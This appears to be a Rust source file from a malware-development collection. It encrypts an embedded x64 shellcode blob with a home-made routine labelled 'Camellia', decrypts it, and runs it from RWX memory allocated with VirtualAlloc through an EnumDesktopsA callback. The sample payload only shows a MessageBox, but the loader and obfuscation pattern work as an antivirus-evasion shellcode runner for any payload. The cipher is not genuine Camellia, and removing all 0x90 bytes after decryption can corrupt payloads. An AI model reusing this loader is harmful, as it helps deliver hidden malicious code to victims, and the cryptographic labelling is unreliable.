/* 
    Camellia Cipher
    Author @5mukx
*/

use std::ptr;

use winapi::um::{memoryapi::VirtualAlloc, winuser::{EnumDesktopsA, GetProcessWindowStation}};


const BLOCK_SIZE: usize = 16;

fn main(){

    let mut payload: Vec<u8> = vec![
        0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
        0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
        0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
        0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
        0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
        0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
        0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
        0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
        0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
        0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
        0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
        0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
        0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
        0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
        0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
        0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
        0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
        0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
        0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
        0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
        0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
        0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
        0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
        0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
        0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
        0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
    ];

    
    let key1: u64 = 0x0123456789abcdef;
    let key2: u64 = 0xfedcba9876543210;

    println!("Original payload: {:x?}", payload);
    println!("\n\n");
    let padded_len = (payload.len() + BLOCK_SIZE - 1) / BLOCK_SIZE * BLOCK_SIZE;
    payload.resize(padded_len, 0x90);

    for chunk in payload.chunks_mut(BLOCK_SIZE) {
        camellia_encrypt_block(chunk.try_into().unwrap(), key1, key2);
    }

    println!("Encrypted payload: {:x?}", payload);
    println!("\n");

    for chunk in payload.chunks_mut(BLOCK_SIZE){
        camellia_decrypt_block(chunk.try_into().unwrap(), key1, key2);
    }

    payload.retain(|&x| x != 0x90);

    println!("Decrypted payload: {:x?}", payload);
    
    // testing....
    unsafe {
        let mem = VirtualAlloc(ptr::null_mut(), payload.len(), 0x1000, 0x40);
        if !mem.is_null() {
            ptr::copy_nonoverlapping(payload.as_ptr(), mem as *mut u8, payload.len());
            EnumDesktopsA(GetProcessWindowStation(), Some(std::mem::transmute(mem)), 0);
        }
    }
}


static SBOX: [u8; 256] = [
     60,242, 25,216, 58, 27, 73, 52,207,254,213, 69, 21, 90, 66,193,
     39,162, 33,153,235,  1, 57, 28,205, 23,128,149, 74,146,141,246,
    117,252, 80, 53,229,184,192,136,113,111,181,133,253,164,188,250,
     82,110, 35,233,220,125,215,208,206,203, 18,138,196,104,140,226,
    101,160,156, 78, 30,137, 17,152, 62,170, 56,230,225,249,157, 63,
    166,143,202, 32, 44, 98,144,198,108,183, 92,147,214,190,174,243,
    211,179,175, 10, 42, 59,139,100, 49, 13,131,102, 50, 76,109, 68,
    103, 34,118, 47,151,  4,199,248, 46, 16,123, 81,234, 70,223,201,
    155,  2, 64,  0,107,239, 12,218, 40,142, 19,221, 29,  3,178, 88,
    126,119, 11,209,121,150,238, 97,231,182,245, 77,177, 94,161, 26,
     89, 54,244,180,176,232, 22, 48, 91,173, 24,227,112, 87,169,  5,
    185,135, 71,224,210,191, 79,129,145,251,200,130,167,186, 75,115,
    163, 72,105,217,116, 15,236,195, 61, 31,241,  7,114,197, 45,159,
    237,222, 51,168,132,165,171,219,127,  6,124,204, 95,122,247,187,
    106,189,158, 38, 14, 37, 20,228, 86, 93,  9, 67, 43,255,148, 55,
    154,240, 65, 84, 85,  8,172, 99, 41,194,212,120, 96, 36,134, 83,
];

fn camellia_f(input: u64, key: u64) -> u64 {
    let input = input ^ key;
    let mut y = [0u8; 8];
    for i in 0..8 {
        y[i] = SBOX[((input >> (56 - i * 8)) & 0xFF) as usize];
    }
    y.iter().enumerate().fold(0u64, |acc, (i, &val)| acc | ((val as u64) << (56 - i * 8)))
}

fn camellia_encrypt_block(block: &mut [u8; BLOCK_SIZE], key1:u64, key2:u64) {
    let (left, right) = block.split_at_mut(8);
    let mut left = u64::from_be_bytes(left.try_into().unwrap());
    let mut right = u64::from_be_bytes(right.try_into().unwrap());

    for _ in 0..8 {
        right ^= camellia_f(left, key1.try_into().unwrap());
        left ^= camellia_f(right, key2.try_into().unwrap());
    }

    std::mem::swap(&mut left, &mut right);

    block[..8].copy_from_slice(&left.to_be_bytes());
    block[8..].copy_from_slice(&right.to_be_bytes());
}

fn camellia_decrypt_block(block: &mut [u8; BLOCK_SIZE], key1: u64, key2: u64) {
    let (left, right) = block.split_at_mut(8);
    let mut left = u64::from_be_bytes(left.try_into().unwrap());
    let mut right = u64::from_be_bytes(right.try_into().unwrap());

    std::mem::swap(&mut left, &mut right);

    for _ in 0..8 {
        left ^= camellia_f(right, key2.try_into().unwrap());
        right ^= camellia_f(left, key1.try_into().unwrap());
    }

    block[..8].copy_from_slice(&left.to_be_bytes());
    block[8..].copy_from_slice(&right.to_be_bytes());
}

